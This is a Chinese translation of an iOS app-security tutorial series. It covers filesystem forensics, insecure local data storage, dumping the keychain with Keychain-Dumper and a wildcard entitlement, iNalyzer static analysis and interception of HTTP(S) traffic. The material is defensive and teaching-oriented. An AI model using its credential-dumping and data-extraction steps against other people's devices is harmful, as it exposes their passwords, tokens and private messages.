我们也可以看到这个应用存在keychain的所有信息。它也会列出所有通过NSURLConnection访问的HTTP请求。这两个功能都可以在monitoring下面看到。我把这些功能留给读者你去尝试。
我们将在另一篇文章中介绍如何从keychain中dump出数据。

你会很高兴的知道Snoop-it有公共的API，所以我们能够利用它来编写自动化测试或者编写我们自己的用户界面。关于XML-RPC web service API的文档可以在官网找到。

总结

本文我们学习了如何使用Snoop-it来进行运行时分析和对iOS apps进行黑盒安全评估。 Snoop-it离发布还有几个星期的时间，尽管你可以像我一样向作者发邮件索要beta版本。
有一个我特别想要Snoop-it添加的功能就是执行Method Swizzling。我确信Snoop-it对于任何对iOS应用的安全分析感兴趣的人都是一个好工具，并且它会变得越来越好。

（注：已经发布了，可以在Cydia上下载，需要先添加源，具体参见其官方网站）

本文原文是 http://wufawei.com/2013/11/ios-application-security-9/
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                本章我们介绍了iOS设备如何越狱和搭建渗透移动测试环境，并简要介绍了如何安装GDG和Cycript等工具，后面会对其用法进行更详细的介绍。
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        5.1 本地文件系统取证
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我们将在本文分析iOS的文件系统，了解其目录是如何组织的，查看一些重要的文件，然后看看如何才能够从数据库文件和plist文件导出数据。我们将学习应用是如何在特定目录（沙盒）内存放数据的，以及怎样才能提取这些数据。

有一个很重要的事情需要注意，在前面的文章中，我们都是以root身份登录进设备的。设备上有另一个用户名叫mobile, 一个mobile用户拥有的权限是少于root用户的。除了Cydia和少数的应用以root权限应用之外，其他应用都是以mobile的身份应用的。有些苹果内部的daemon服务也以root权限运行。执行ps aux就可以查看清楚。在最左边，我们可以看到用户列。可以看到Cydia以root身份运行，所有其他应用都以mobile身份运行，
例如/Applications/AppStore.app/AppStore，有些demon也以root身份运行，如/usr/sbin/wifid。一些你通过Cydia安装的应用也可能会以root身份运行。
一旦你的设备一越狱，默认root和mobile的密码都是alpine.

[image: ]

可以配置一个应用以root权限运行。你可以看看Stack Overflow上的这篇文章来了解更多细节。

我们ssh进设备。到/Applications目录。你可以在该文件夹下看到一些应用。它们中的大多是都是iOS预装的，有些应用是通过Cydia安装的，比如Ternimal 应用。请注意，所有运行在/Applications的应用并不运行在沙盒环境，而所有在/var/mobile/Applications目录下的应用都运行在一个沙盒环境下。文章后面会讨论沙盒。不过，它们默认依然以mobile用户运行，除非专门做了配置。

[image: ]

所有从App Store下载的应用都位于/var/mobile/Applications目录。这个目录也包含用installipa或者其他外部源如Cydia安装的应用。所有这些应用都运行在沙盒环境下。

[image: ]

请注意，从iOS4及以后，每个应用都驻留的环境叫做沙盒(Sandbox)。这样做的主要目的是不允许应用访问它自己沙盒外的任何数据。这样做会更安全。不过，应用用合适的权限是可以访问用户某些特定的用户数据的。例如要用户允许去访问联系人，照片等等。不过，对这些也有不少争论。
例如从iOS6开始，应用在得到用户允许之后才能访问用户的联系人。在这之前，应用不需要获得任何权限就能访问用户的联系人，这导致了较大的争议，例如Path应用。

通过使用Entitlements，你可以访问沙盒外的好些东西。你可以读读这里的文档。例如，要获得一个用户的calender的读权限，.entitlements文件中的entitlement key com.apple.security.personal-information.calendars必须标志为YES。

让我们看看某个特定应用的目录结构。首先到Snapchat的目录看看。对于所有应用都是类似的结构。

[image: ]


	Snapchat.app(应用名称.app)文件夹包含所有的资源文件(images)，plist文件和应用的二进制文件。

	Documents目录用于存放任意文件。相对于应用文件来说，这提供了一个只能在应用内访问的单独目录。下面是从苹果文档中摘录的一句话。



"把用户数据放到/Documents/。用户数据是你的应用不能再创建的任意数据，比如用户的文档或者任何其它用户产生的内容“。


	tmp文件夹用于存放用户的临时数据。应用的开发者有责任释放被改文件夹占有的内存.

	Library文件夹可以用来保存那些不是用户数据的文件。



  你可以从下面的苹果文档的截图知道更多信息。

[image: ]

从数据库中收集信息

苹果用sqlite数据库存了很多信息。这些数据库数据库通常以.db或者.sqlitedb结尾。对于开发者来说，许多功能比如Core Data， NSUserDefaults都从一个较低的层次操作这些sqlite数据库。可以从这些数据库抽取出特定应用，甚至操作系统级别的许多信息。可能包括电话历史或者应用内保存的邮件等等。要找到所有的.db文件，
可以用命令 find . -name *.db

[image: ]

你可以得到在设备上保存的所有数据库文件。让我们先看下其中的一些重要数据库文件。

我在设备上安装了gmail应用。下面这个文件对我来说看起来很有趣。

[image: ]

看起来这个文件包含了一些重要的信息。让我们先用sqlite客户端分析一下这个文件。请注意，你需要在你的设备上安装sqlite客户端，比如sqlite3。
我们先打开设备，然后用命令sqlite3 file_name打开数据库文件。

[image: ]

请注意，你会得到一个sqlite解释器。让我们打开headers，这样我们就可以看到所有的列表名称。你可以用.tables命令看看数据库存放的所有表。

[image: ]

有些表看起来很有趣，比如cached_contacts, cached_queries 和 cached_messages。让我们从cached_messages导出所有信息。

[image: ]

正如我们看到的那样，导出了所有缓存了的邮件。

类似的，我们也可以导出所有的短信（SMS）数据库，位于/private/var/mobile/Library/SMS.你可以从导出文件中看到一条消息，
其文本是Test message for ios security tutorial
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另一个例子是联系人数据库，其位置是 /var/mobile/Library/AddressBook

[image: ]

你也可以查看电话历史记录，位于 /private/var/wireless/Library/CallHistory

[image: ]

有时候用命令行做这些事情确实很费时间。一个更好的分析方法就是导出这些信息到你电脑上，（然后用工具打开）。例如，
下载 Address Book Sqlite database

[image: ]

我们可以用GUI Sqlite客户端工具来分析这个文件。我这里用的是MesaSQLite。免费且易用。
在MesaSQLite中，先到File，然后点击Open Database，选择db文件，然后在Content tab，选择一个表然后点击查看所有（Show All）

[image: ]

如你所见，许多信息都可以从这些数据库文件中获取。我推荐你自己去探索下，找找其他应用甚至操作系统的数据库文件看看。




从plist文件中获取信息

plist是用户存放许多不同设置和配置的结构化文本文件。因为这些信息都是以key-value这种键值对来存放信息的，所以要改变这些信息非常容易。因此，许多开发者有时会在这些文件中存放许多不该存放在这的信息。

即使在一个没有越狱的设备上，plist文件也可以通过工具iExplorer获取。你可以用iExlorer看看plist文件。例如如下图是一个Defcon iOS应用的plist
中存放的信息。
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下图是Snapchat应用的Documents目录中保存的plist文件截图。第一个高亮的区块实际上是特定用户的认证标识(authentication token)，第二个高亮的区块是
Snapchat的用户名称。

[image: ]

Plist文件也可能包含机密信息，比如用户名和密码。有一个事情需要特别注意的就是，任何人都可以从设备中导出plist文件，即使这个设备没有越狱。
你也可以从用户的iTunes 备份中导出这些plist文件。过去数年，有开发者把机密数据存放在plist文件中，这是不正确的做法。
Linkedin iOS应用被发现的一个漏洞就是它把用户的认证信息存放在plist文件中，你可以到这找到更多信息。

如果你想在terminal看这些plist文件，你可以先用工具plutil把它转化为xml格式，命令是  plutil -covert xml1 [filename]。首先用下面的2个命令找到设备上所有的plist文件。
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然后把它转成xml格式

[image: ]

现在文件是结构化的格式了，我们可以用vim打开它。

[image: ]

如你所见，我们现在能够分析plist文件的内容。




总结

在本文中，我们查看了iOS的文件系统，学习到其目录结果是如何组织的，查看了一些重要文件，并且学习了如何从数据库和plist文件中导出重要数据。



本文原文是 IOS Application Security Part 10 – IOS Filesystem and Forensics



#5 iOS应用静态分析下的更多文章


            
            

        
    



        
        

    
        5.2 本地数据存储及安全性

        
            
            
                本文我们将看看应用在本地存储数据有哪些方法以及这些不同方法的安全性。

我们将会在一个demo上这些这些测试，你可以从github上下载这个例子程序。对于CoreData的例子，你可以从这下载例子程序。本例有一个不同点就是我们将会在模拟器上运行这些应用，而不是在设备上运行。这样做的目的是为了证明在前面文章中的操作都可以通过Xcode来把这些应用运行在模拟器上。当然，你也可以把这应用安装到设备上。




NSUserDefaults

保存用户信息和属性的一个非常普通的方法就是使用NSUserDefaults。保存在NSUserDefaults中的信息在你的应用关闭后再次打开之后依然存在。保存信息到NSUserDefaults的一个例子就是保存用户是否已登录的状态。我们把用户的登录状态保存到NSUserDefaults以便用户关闭应用再次打开应用的时候，应用能够从NSUserDefaults获取数据，根据用户是否登录展示不同的界面。有些应用也用这个功能来保存机密数据，比如用户的访问令牌，以便下次应用登录的时候，它们能够使用这个令牌来再次认证用户。

从github可以下载例子应用，运行起来。你可以得到下面的界面，现在输入一些信息到与NSUserDefaults相关的文本框，然后点击下面的“Save in NSUserDefaults”。这样数据就保存到NSUserDefaults了。

[image: ]

许多人不知道的是保存到NSUserDefaults的数据并没有加密，因此可以很容易的从应用的包中看到。NSUserDefaults被存在一个以应用的bundle id为名称的plist文件中。
首先，我们需要找到我们应用的bundle id。因为我们在模拟器上运行，我们可以在/Users/$username/Library/Application Support/iPhone Simulator/$ios version of simulator/Applications/找到应用。我这的路径是：“Users/prateekgianchandani/Library/Application Support/iPhone Simulator/6.1/Applications”。

一旦我们找到那个目录，我们可以看到一堆应用。我们可以用最近修改的日期找到我们的应用，因为它是最近修改的。

[image: ]

进入到应用的bundle里面。通过NSUserDefaults保存的数据都可以在如下图所示的Library -> Preferences -> $AppBundleId.plist文件中找到。
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打开这个plist文件，我们可以清楚的看到这个文件的内容。

[image: ]

有时候，plist文件会以二进制格式保存，因此可能第一下看到会觉得不可读。你可以用plutil工具把它转成xml格式，或者直接用iExplorer在设备上查看。




Plist 文件

另一种保存数据普遍用的方法就是plist文件。Plist文件应该始终被用来保存那些非机密的文件，因为它们没有加密，因此即使在非越狱的设备上也非常容易被获取。已经有漏洞被爆出来，大公司把机密数据比如访问令牌，用户名和密码保存到plist文件中。在下面的demo中，我们输入一些信息并保存到plist文件。
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下面是把数据保存到plist文件的代码。

[plain]
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,NSUserDomainMask,YES);
NSString *documentsDirectory = [paths objectAtIndex:0];
NSString *filePath = [documentsDirectory stringByAppendingString:@"/userInfo.plist"];
NSMutableDictionary* plist = [[NSMutableDictionary alloc] init];
[plist setValue:self.usernameTextField.text forKey:@"username"];
[plist setValue:self.passwordTextField.text forKey:@"passwprd"];
[plist writeToFile:filePath atomically:YES];
[/plain]


如你所见，我们能够给plist文件指定路径。我们可以搜索整个应用的所有plist文件。在这里，我们找到一个叫做userinfo.plist的文件。

[image: ]

可以看到，它包含了我们刚刚输入的用户名/密码的组合。
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CoreData和Sqlite文件

因为CoreData内部使用Sqlite来保存信息，因此我们这里将只会介绍下CoreData。如果你不知道什么是CoreData，下面是从苹果文档介绍CoreData截的图。

[image: ]
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因此，基本上，CoreData可以用来创建一个model，管理不同对象的关系，把数据保存到本地，然后当你查询的时候从本地缓存中获取它们。本例中，我们将使用一个demo，位于github。运行起来，你会发现它只是一个简单的RSS feed。

[image: ]

这个应用用CoreData保存数据。一个非常重要的一点就是CoreData内部使用sql，因此所有文件都以.db文件保存。我们到这个app的bundle中去看看。
在这个app的bundle中，你可以看到那里有一个MyCoreData.sqlite的文件。

[image: ]

我们可以用sqlite3分析。我这slite文件的地址是：~/Library/Application Support/iPhone Simulator/6.1/Applications/51038055-3CEC-4D90-98B8-A70BF12C7E9D/Documents.

[image: ]

我们可以看到，这里有个叫做ZSTORIES的表。在Core Data中，每个表名开头都会被追加一个Z。这意味着真正的实体名称是STORIES，如我们在工程的源码文件看到的那样。

[image: ]

我们可以非常容易的导出这个表的所有值。请却表headers的状态是on。

[image: ]

正如我们看到的那样，默认的，保存在CoreData的数据都是没有加密的，因此可以轻易的被取出。因此，我们不应该用CoreData保存机密数据。
有些库包装了一下CoreData, 声称能够保存加密数据。也有些库能够把数据加密保存到设备上，不过不使用CoreData。例如，Salesforce Mobile SDK
就使用了一个被称为SmartStore的功能来把加密数据以"Soups"的形式保存到设备上。




Keychain

有些开发者不太喜欢把数据保存到Keychain中，因为实现起来不那么直观。不过，把信息保存到Keychain中可能是非越狱设备上最安全的一种保存数据的方式了。而在越狱设备上，没有任何事情是安全的。这篇文章展示了使用一个简单的wrapper类，把数据保存到keychain是多么的简单。使用这个wrapper来保存数据到keychain就像把数据保存到NSUserDefaults那么简单。下面就是一段把字符串保存到keychain的代码。请注意和使用NSUserDefaults的语法非常类似。

[plain]
PDKeychainBindings *bindings = [PDKeychainBindings sharedKeychainBindings];
[bindings setObject:@"XYZ" forKey:@"authToken"];
[/plain]
下面是一段从keychain中取数据的代码。

[plain]
PDKeychainBindings *bindings = [PDKeychainBindings sharedKeychainBindings];
NSLog(@"Auth token is %@",[bindings objectForKey:@"authToken"]]);
[/plain]





一些小技巧

正如之前讨论过的那样，没有任何信息在越狱设备上是安全的。攻击者能够拿到Plist文件，导出整个keychain，替换方法实现，并且攻击者能做他想做的任何事情。不过开发者能够使用一些小技巧来使得脚本小子从应用获得信息变得更难。比如把文件加密放到本地设备上。这里这篇文章详细的讨论了这一点。或者你可以使得攻击者更难理解你的信息。比如考虑要把某个用户的认证令牌（authentication token）保存到keychain当中，脚本小子可能就会导出keychain中的这个数据，然后试图劫持用户的会话。我们只需再把这个认证令牌字符串反转一下（reverse），然后再保存到keychain中，那么攻击者就不太可能会知道认证令牌是反转保存的。当然，攻击者可以追踪你的应用的每一个调用，然后理解到这一点，但是，一个如此简单的技术就能够让脚本小子猜足够的时间，以至于他们会开始寻找其它应用的漏洞。另一个简单技巧就是在每个真正的值保存之前都追加一个常量字符串。

本文原文 IOS Application Security Part 20 – Local Data Storage (NSUserDefaults, CoreData, Sqlite, Plist files)



#5 iOS应用静态分析下的更多文章


            
            

        
    



        
        

    
        5.3 Keychain数据导出

        
            
            
                Keychain 基础

根据苹果的介绍，iOS设备中的Keychain是一个安全的存储容器，可以用来为不同应用保存敏感信息比如用户名，密码，网络密码，认证令牌。苹果自己用keychain来保存Wi-Fi网络密码，VPN凭证等等。它是一个sqlite数据库，位于/private/var/Keychains/keychain-2.db，其保存的所有数据都是加密过的。

开发者通常会希望能够利用操作系统提供的功能来保存凭证（credentials）而不是把它们（凭证）保存到NSUserDefaults,plist文件等地方。保存这些数据的原因是开发者不想用户每次都要登录，因此会把认证信息保存到设备上的某个地方并且在用户再次打开应用的时候用这些数据自动登录。Keychain的信息是存在于每个应用（app）的沙盒之外的。

通过keychain access groups可以在应用之间共享keychain中的数据。要求在保存数据到keychain的时候指定group。把数据保存到keychain的最好方法就是用苹果提供的KeychainItemWrapper。可以到这下载例子工程。第一步就是创建这个类的实例。

KeychainItemWrapper *wrapper = [[KeychainItemWrapper alloc] initWithIdentifier:@”Password” accessGroup:nil];

标识符（Identifier）在后面我们要从keychain中取数据的时候会用到。如果你想要在应用之间共享信息，那么你需要指定访问组（access group）。有同样的访问组
的应用能够访问同样的keychain信息。

KeychainItemWrapper *wrapper = [[KeychainItemWrapper alloc] initWithIdentifier:@”Account Number” accessGroup:@”YOUR_APP_ID_HERE.com.yourcompany.GenericKeychainSuite”];

要把信息保存到keychain中，使用 setObject:forKey: 方法。在这里， (id)kSecAttrAccount 是一个预先定义好的键（key），我们可以用它来保存账号名称。
kSecClass指定了我们要保存的某类信息，在这里是一个通用的密码。kSecValueData可以被用来保存任意的数据，在这里是一个密码。

[keychainItemWrapper setObject:kSecClassGenericPassword forKey:(id)kSecClass];

[wrapper setObject:@"username" forKey:(id)kSecAttrAccount];

[keychainItemWrapper setObject:@"password"forKey:(id)kSecValueData];

[wrapper setObject:(id)kSecAttrAccessibleAlwaysThisDeviceOnly forKey:(id)kSecAttrAccessible];

kSecAttrAccessiblein变量用来指定这个应用合适需要访问这个数据。我们需要对这个选项特别注意，并且使用最严格的选项。这个键（key）可以设置6种值。

你可以从如下对苹果的文档的截图看到。

[image: ]

当然，我们应该绝对不要使用kSecAttrAccessibleAlways。一个安全点的选项是kSecAttrAccessibleWhenUnlocked。这也有些选项是以 ThisDeviceOnly 结尾的。如果选中了这个选项，那么数据就会被以硬件相关的密钥（key）加密，因此不能被传输到或者被其他设备看到。即使它们提供了进一步的安全性，使用它们可能不是一个好主意，除非你有
一个更好的理由不允许数据在备份之间迁移。

要从keychain中获取数据，可以用
NSString *accountName = [wrapper objectForKey:(id)kSecAttrAccount];

使用Keychain Dumper导出Keychain中的数据

从Keychain中导出数据的最流行工具是ptoomey3的Keychain dumper。其github地址位于此。现在到这个地址把它下载下来。然后解压zip文件。在解压的文件夹内，我们感兴趣的文件是keychain_dumper这个二进制文件。一个应用能够访问的keychain数据是通过其entitlements文件指定的。keychain_dumper使用一个自签名文件，带有一个*通配符的entitlments，因此它能够访问keychain中的所有条目。 当然，也有其他方法来使得所有keychain信息都被授权，比如用一个包含所有访问组(access group)的entitlements文件，或者使用一个特定的访问组（access group）使得能够访问所有的keychain数据。
例如，工具Keychain-viewer就使用如下的entitlements.

com.apple.keystore.access-keychain-keys

com.apple.keystore.device

现在把这个二进制文件上传到你的设备的/tmp文件夹，确保它可执行。
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现在请确保保存在/private/var/Keychains/keychain-2.db的keychain文件可以被读取。
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现在，运行这个可执行文件

[image: ]
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如你所见，它可以导出所有的keychain信息。你可以看到许多保存在这里的用户名和密码。例如，你可以看到Mail应用把你账号的用户名和密码保存在keychain中。
类似的，你也可以找到你之前连接过的无线网络的密码和其他更多的信息。上述命令默认只会导出通用和网络密码。你可以通过－h命令查看它的用法。

[image: ]

你可以通过 “-a” 命令导出所有数据

[image: ]

使得keychain中的数据更安全的一个做法就是使用一个更强的口令。这是因为对某些特定的保护属性（protection attributes）来说，口令会被用作加密keychain中的数据。
iOS默认允许4位数字口令（从0-9999），因此很容易被人在几分钟之内暴力破解。本系列的后续文章中我们会看看暴力破解口令。设置字母加数字的密码会让破解花更多的时间。
一个合适的保护属性（protection attributes）和口令的组合会让keychain的数据更难被获取。

小结

在本文中，我们看到了从iOS设备的Keychain中导出数据是多么的容易。虽然在keychain中保存凭证（credentials）和敏感信息比NSUserDefaults和plist文件更安全，但是，
想要破解它也不难。

References

Keychain-Dumper
https://github.com/ptoomey3/Keychain-Dumper

本文原文是 IOS Application Security Part 12 – Dumping Keychain Data

注：之前我写过一篇文章，Keychain is not safe,大家可以对照着看看，有的应用还是在keychain中保存密码。虽然本文说keychain也容易被破解，不过比NSUserDefaults和plist安全得多，只要我们注意不要在keychain中保存明密码就会在很大程度上提升安全性。

Keychain is not safe

1 Keychain

一般来说mobile app都需要在本地保存一些较为敏感的数据。如何安全的保存这些数据就是一个值得深入探讨的问题。

Mac OS 可以利用Keychain保存各应用中用户的账号密码，让用户不用重复输入，在iOS中也有Keychain，也可以在应用之间共享数据，只是有些限制，用户无法通过手动控制。
要在社保上
KeyChain中的所有数据都以key－value的形式进行存储，可以对其进行add、update、get、delete操作。

如果需要在应用里使用keyChain，需要导入Security.framework，keychain的操作接口声明在头文件SecItem.h里。直接使用SecItem.h里方法操作keychain，需要写的代码较为复杂，可以使用已经封装好了的工具类SFHFKeychainUtils，见：https://github.com/ldandersen/scifihifi-iphone/tree/master/security 

对每个应用来说，Keychain都有两个访问区，私有区和公共区。私有区是一个sandbox，本程序存储的任何数据都对其他程序不可见。Keychain中保存的信息是用app unique签名了的，默认只有自己能够访问。

keychain的access group的概念。  

a)app保持的信息是用一个app unique 签名了的，默认只有自己能够访问。

" Each application on an iOS device has a unique “application-identifier” that is cryptographically signed into the application before being submitted to the Apple App store.  The keychain service restricts which data an application can access based on this identifier.  By default, applications can only access data associated with their own application-identifier。By default, when no access group is specified, the application will use the unique application-identifier as the access group (thus limiting access to the application itself)"

b）不同app之间可以通过access_group共享

app1的group是 app1.accessgroup.item1,

app2在entitlements中加入这个item就可以访问了。

c） 在不同app之间共享，只能在同一个公司内部的app共享。
因为keychain access group 所在的文件entitlements.plist，需要添加到code_sign_entitlements.

这个文件的路径要配置在 Project->build setting->Code Signing Entitlements里，否则公共区无效，配置好后，须用你正式的证书签名编译才可通过，否则xcode会弹框告诉你code signing有问题。所以，苹果限制了你只能同公司的产品共享KeyChain数据，别的公司访问不了你公司产品的KeyChain。

很多app都这样保存用户密码，可是，这样就安全了吗？

2 Keychain is not safe

对于没有越狱的设备，上述做法确实很安全。但是，对于jail break之后的设备，风险就很大了。

通过上面的分析，我们知道要访问keychain里面的数据，需要

1）和app同样的证书

jail break 相当于对苹果做签名检查的地方打了个补丁，使得不是苹果颁发的证书签名的文件，甚至伪造的签名文件签名的app也能正常使用。所以这个可以轻松绕过。
2）获得access group的名称
Keychain Dumper Updated for iOS 5 介绍了如何获得acess group。

其实也可以不必获得access group，因为access的匹配是可以用正则表达式的，也就是用*就可以匹配所有group了。
例子如下：

 <dict> <key>keychain-access-groups</key>
 <array> <string>*</string>  </array> </dict></plist>


3）在设备上执行2)中介绍的keychain dumper，就可以得到所有的相关信息。
但是，要在设备上执行keychain dumper，就需要用chmod 777设置其权限，需要root权限，而jail break之后的默认密码是：alpine。

最后可以获得好几个文件，下面是里面的2个例子。（密码都被我用password字串替换）

a) 是家里的WIFI信息
[image: ]

b）是某知名微博

[image: ]

我在越狱之后的iOS 5.1的iPhone，iPad, iOS 6.1.2的iPad上都测试过，都可以获得如上信息。
实际中的例子远不止这2个。很多应用都是直接存用户的明文密码的。

3 个人如何防止信息泄露

 a）修改root的默认密码。
 b) 安装能信任的jail break app。

4 对开发者和公司

 不要保存用户的明文密码。
 Encryption is a must for sensitive data。



#5 iOS应用静态分析下的更多文章


            
            

        
    



        
        

    
        5.4 使用iNalyzer进行静态分析

        
            
            
                iNalyzer允许我们查看类信息，执行运行时分析和其他一些事情。基本上它把解密应用、导出类信息这些事情自动化了，并且更好的展示了出来。我们也可以像Cycript那样挂钩运行的进程。iNalyzer由AppSec Labs开发和维护，它的官方地址在这。iNalyzer同时也已经开源了，gitub地址在这。

在用iNalyzer之前，有些依赖的软件需要先安装。请确保Graphviz 和Doxygen已经安装了，因为没有这2个工具，iNalyzer不会正常工作。并且，请注意，
我在Mac OS X Mountain Lion 10.8.4上做的测试，但是我们用最新版本的Graphviz的时候它经常会挂起（hang）。因此，我下载了Graphviz的一个较老的版本（v 2.30.1）
，并且这个老版本工作正常。你可以在这找到Graphviz for Mac的老版本。

第一步就是在你的iOS 设备上安装iNalyzer。先到Cydia->管理, 确保源http://appsec-labs.com/cydia/被成功添加，如下图。

[image: ]

然后到Cydia的搜索，搜索 iNalyzer。根据你现在设备上正在运行的iOS版本，选择对应版本的iNalyzer。

[image: ]

如你所见，我已经把iNalyzer安装好了。

[image: ] 

现在ssh进入设备，，然后转到iNalyzer应用所在的目录。iNalyzer安装在/Applications目录，因为它需要以root用户权限运行。如果你不了解这个概念，请确保你读过本系列
前面的文章。

[image: ]

输入./iNalyzer启动iNalyzer。

[image: ] 

现在如果你到主屏幕，然后看看iNalyzer应用图标，你会看到有个提醒数字。这表明这个应用 可以通过web接口访问，然后这个提醒数字就代表的是端口号。
如果你再次运行 ./iNalyzer，那么iNalyzer就会停止。因此，请确保记得./iNalyer是开启还是关闭这个应用。

[image: ] 

现在你可以找到你的设备的IP地址，然后用ip:port的方式在浏览器上打开。这里端口是5544,IP地址是10.0.1.23.因此url地址是http://10.0.1.23:5544/。一旦你打开这个页面，
你会看到如下图的界面。你可以选择一个应用，然后iNalyzer就会准备一个zip文件，然后下载到你的系统上以便分析。

[image: ]  

不过，我在这行这一步的时候却遇到一些问题。因此，我们将使用一个替代方法来完成这一步。首先确保iNalyer正在运行。然后转到iNalyer的目录下，然后不带任何参数的运行
iNalyer5。

[image: ]  

现在你可以看到一系列可以用来分析的应用。这里我们选择Defcon应用来分析。

[image: ]  

你可以看到iNalyer已经开始工作。它首先解密应用，找出对应的类信息和其它一些信息。如下图所示，一旦iNalyzer完成它的工作，它就会创建一个ipa文件，然后把它
保存到下图高亮的地址。

[image: ]  

现在我们需要得到这个ipa文件，然后把它下载到我们的系统上（电脑上）。我们可以用sftp。

[image: ]  

一旦我们得到ipa文件，把它后缀名改为zip，然后解压这个文件。

[image: ]  

在终端（Terminal, 命令行）下，转到其内部的Payload－> Doxygen目录下。如下图。

[image: ]  

你会看到有一个叫做doxMe.sh的shell脚本。如果你看看它的内容，你会看到它把运行Doxygen的工作自动化了。
Doxygen也会运行Graphviz来产生图表，结果会保存在内部一个叫做html的文件夹下。基本上，iNalyzer已经把所有的类信息替我们保存在
内部一个叫做Reversing Files的目录下了，而且它用Doxygen和Graphviz来把信息更友好的展示出来了。这个脚本同时也会把新创建的html文件夹内部的
index.html文件打开。

[image: ]  

现在，我们来运行这个脚本，让iNalyzer为我们做所有的事情。

[image: ]  
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一旦这个命令完成，iNalyer会把新创建的html文件夹内部的index.html文件打开。 下面就是打开的样子。在这里，我用的是chrome。不过，这个工具的开发者
推荐我再进行运行时分析的时候使用firefox浏览器，因为其它浏览器用起来可能会有问题。如下图所示，第一页给出了对整个应用的字符串分析。它把字符串分成了
SQL和URL字符串。

[image: ]    

你也可以看看应用中使用的所有的view controller。

[image: ]    

点击任意的View controller，你可以看到它的方法和属性。

[image: ]    

你也可以看看Info.plist文件的内容。

[image: ]    

如果你选择Classes这个Tab，在Class Index下面你回看到所有应用中使用的类的列表。有些是苹果自己的类，有些是这个应用的开发者创建的。

[image: ]    

如果你到Class Hierarchy Tab（类层次标签）下，你可以看到以图像方式展示的类信息和它们之间的关系。这会给你大量关于应用如何工作的知识。
这些图使用Graphviz这个工具产生的。

[image: ]    

如果你选择文件标签（files tab), 你可以看到iNalyer生成的所有接口文件。

 


总结

 本文我们学习了如何使用iNalyer对iOS应用程序进行静态分析，可以看到它使我们的工作变得非常容易。

本文原文是 IOS Application Security Part 15 – Static Analysis of IOS Applications using iNalyzer
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        5.5 小结

        
            
            
                本章介绍了对iOS应用进行静态分析的各个方面，包括本地文件系统取证、本地数据存储及安全性、Keychain并不安全，可以导出数据、以及使用iNalyzer进行静态分析的方法。

下一章，我们将要介绍如何对iOS应用进行动态分析。
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        6 iOS应用动态分析

        
            
            
                iOS应用动态分析


            
            

        
    



        
        

    
        6.1 分析HTTP/HTTPS网络流量

        
            
            
                本文我们将看看如何分析iOS设备上的网络流量。分析应用的网络流量会带来几个方面的好处。它可以帮助我们推断应用是如何管理用户会话的，我们应用调用的另一方是谁，以及应用程序内部是如何工作的等等。我们也会看看如何分析使用SSL的网络流量。

监听网络流量有主动和被动两种方式。如果你对远程分析一个网络中的特定设备的流量感兴趣，那你需要wireshark这个工具。打开Wireshark,开始嗅探网络，添加一个过滤器（fliter，例如 ip.addr == 192.168.1.2）以便它只显示你的设备发出或者接收的网络流量。如果你的无线网卡不够好，那么有些数据包可能会丢失。

如果你想要分析使用SSL的设备的网络流量，有许多方法可以达到目的，比如使用Arpspoof(ARP嗅探) 和SSLStrip的组合。不过，因为我们只对分析某个特定应用的网络流量感兴趣，我们将使用另一个不同的方法。先申明下，本文关注的是分析网络流量而不是劫持网络流量。并且，我们既能够分析通过Wi-Fi的流量，也能分析通过蜂窝网络(cellular)的流量。因为我们只是对分析某个特定应用的网络流量感兴趣，那选择哪种媒介（medium，这里指Wifi或者 celluar)事实上并不重要。

使用TCPDump

抓取设备上的网络流量的一个最基本技巧是使用tcpdump。首先，请确保你的设备上安装了tcpdump。

[image: ]

现在，开始在某个特定的接口上抓取数据并且输出到一个文件。

[image: ]

为了在使用蜂窝数据的时候抓取数据，仅仅需要把上述命令中的接口换成你的蜂窝链接对应的IP地址即可。

为了分析这个文件（抓包保存的文件），你可以把它传输到你的电脑上，然后用Wireshark分析。不过，正如你可能注意到的那样，这个过程确实很繁琐，通过Pipes
可以更好的完成这个过程。更多的信息请看这。用tcpdump给了我们太多底层的信息，很多信息对我们从分析应用的数据的角度来说并不感兴趣。更好的方法是使用Burpsuite和Snoop-it。

使用Snoop-it

我们来看看如何通过Snoop-it来分析网络流量。顺便说一下，如果你还不知道Snoop-it是啥，请查看这里。为了查看调用的api和网络请求，
打开在Snoop-it的任意应用然后查看最左边的网络部分。例如，下图展示了Snapchat应用的网络调用情况。
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如果我们点击某个特殊请求，我们能够看到请求串的内容 ，比如body等等。

[image: ]

使用Burpsuite监听HTTP

再说一下，有许多方法能够查看网络的请求/相应，这其中Burpsuite是一个非常棒工具。可以从它的官方网站下载。下载它的免费版本就足够完成我们本文的任务了。
顺便说一下，如果你从来没有用过Burpsuite，请查看关于Burpsuite的另一篇文章。这里最主要的任务就是把Burpsuite当作一个代理，然后路由所有经过它的网络流量。

打开Burpsuite,到Proxy，选择Options
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点击已经设置的代理，点击编辑（edit），然后选择在Bind to Addrees这个选项的All Interfaces这个选项。
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现在我们能够编辑代理监听的端口，甚至增加一个新的监听代理。Burp有个选项，能够把证书传递给使用SSL的网站。在安装的时候，Burp就默认的创建了一个自签名的CA证书。
现在选中的选项（如下图），“generate CA-signed per-host certificates” 就会用安装Burp的时候创建的CA证书给我们正在连接的host生成一个证书。
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你会被提示一个警告。点击YES。我们选择绑定到所有接口的原因就是我们希望我们的iPhone能够用我们的电脑作为代理，因此选择绑定到本地接口是不够的。
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现在，到Proxy－Intercept，然后确保Intercept设置成了off。这是因为你可能不想被每个通过这个代理的数据包打扰。
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现在，你可以让你的设备把所有网络流量通过你的代理。在你的iOS设备上，到设置（Settinigs）app，选择Wifi，选择你目前正在连接的网络的设置，滚动到下面，
那里会有一个选项来设置代理。把代理地址设置成正在运行Burpsuite的电脑的IP地址，端口设置为代理运行的端口。
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现在代理已经建立起来了，我们已经配置好我们的设备来使用这个代理，打开任意一个不是用SSL的应用（我们将会在本文的后面一点讨论SSL），然后随便用用让应用发出些网络请求。你可以在Burpsuite看到这些请求。下面就是NASA TV app的网络流量。
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使用Burpsuite的好处就是我们能以原生的格式（raw）和十六进制（hex）的格式查看数据包，我们也可以查看参数（Params）和头（Headers）
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而且，我们也能够看到某个特定请求的对应返回包。

[image: ]

这给了我们详尽的细节来了解一个应用是如何与后台通信的，我们在调用谁，以及请求的格式是什么样的。

使用Burpsuite监听HTTPS

不过，上述的技巧对于那些使用HTTPS与后台通信的应用是不起作用的。有些应用只调用SSL连接。例如，如果你试图通过这个代理运行Snapchat就不会成功。不过，有些应用会跳出一个警告，然后让你确认或者取消这个连接。例如，如下图所示就是当通过代理运行Safari的时候的情况。

[image: ]

